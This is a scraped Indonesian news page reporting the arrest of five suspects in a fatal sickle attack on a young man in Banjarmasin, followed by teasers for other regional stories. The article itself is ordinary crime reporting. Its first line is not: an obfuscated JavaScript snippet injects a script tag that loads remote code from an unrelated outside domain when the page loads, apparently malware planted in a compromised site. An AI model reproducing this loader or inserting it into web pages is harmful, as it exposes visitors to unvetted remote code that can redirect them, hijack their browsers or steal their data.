(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Motif Sepele Pengroyokan di Jalan Veteran Banjarmasin Hingga Tewaskan Ferdy


KANALKALIMANTAN.COM, BANJARMASIN – Peristiwa berdarah beberapa hari lalu di jalan Veteran Banjarmasin yang menewaskan seorang pemuda bernama Muhammad Ferdy Ramadhan (24) berhasil diungkap polisi.

Sebanyak lima orang tersangka pengeroyokan berhasil diamankan oleh tim gabungan Polresta Banjarmasin dan Polsek Banjarmasin Timur.

Lima pelaku pengeroyokan yang berhasil diringkus yaitu MIB, MKS, AM, RM dan PA.

“Salah satu pelaku masih berstatus sebagai mahasiswa,” kata Kapolresta Banjarmasin Kombes Pol Sabana saat konferensi pers di halaman Mapolsek Banjarmasin Timur, Selasa (8/8/2023) siang.

Baca juga : Ferdy Sambo Lolos Hukuman Mati, MA Kabulkan Kasasi Jadi Penjara Seumur Hidup

Dijelaskannya, kejadian penganiayaan terjadi pada Sabtu 5 Agustus 2023 sekitar pukul 23.50 Wita di kawasan Jalan Veteran, Kecamatan Banjarmasin Timur, Kota Banjarmasin.

 

Korban penganiayaan yang tewas mengalami tiga mata luka di bagian punggung dan juga perut karena dikeroyok dan diserang para pelaku menggunakan senjata tajam jenis celurit.

Dijelaskan Kombes Sabana, peristiwa berdarah itu berawal saat korban sedang makan pentol di lokasi kejadian dan bertemu dengan KH dan IK, yang sebelumnya bermasalah dengan korban di lokasi kejadian.

“Masalahnya karena tidak terima saling cangang-cangangan (tatap-tatapan, red),” kata Sabana.

Kemudian, KH dan IK melaporkan permasalah tersebut ke para pelaku yang saat itu sedang pesta minuman keras, dan selanjutnya diantarkan oleh KH dan IK ke lokasi korba

“MIB sempat mengambil celurit saat menuju ke lokasi kejadian,” katanya.

Baca juga : Jembatan Ulin di Kuin Utara Diperbaiki Tahun Ini, Bisa Molor ke 2024

Setibanya di lokasi kejadian di jalan Veteran, para pelaku yang dalam pengaruh alkohol langsung membabi buta mengeroyok dan memukuli korban. Sementara itu, pelaku MIB dikatakan menyerang korban dengan celurit yang dibawanya.

Saat ini, anggota polisi dikatakan Kapolresta Banjarmasin masih mengejar satu terduga pelaku berinisial SF yang disebut-sebut juga terlibat dalam aksi berdarah tersebut.

“Lima pelaku yang diamankan diancam melanggar pasal 340 junto pasal 338 junto pasal 170 KUHP dengan ancaman pidana 20 tahun penjara,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

11 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

11 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

11 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

12 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

12 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

12 jam ago

This website uses cookies.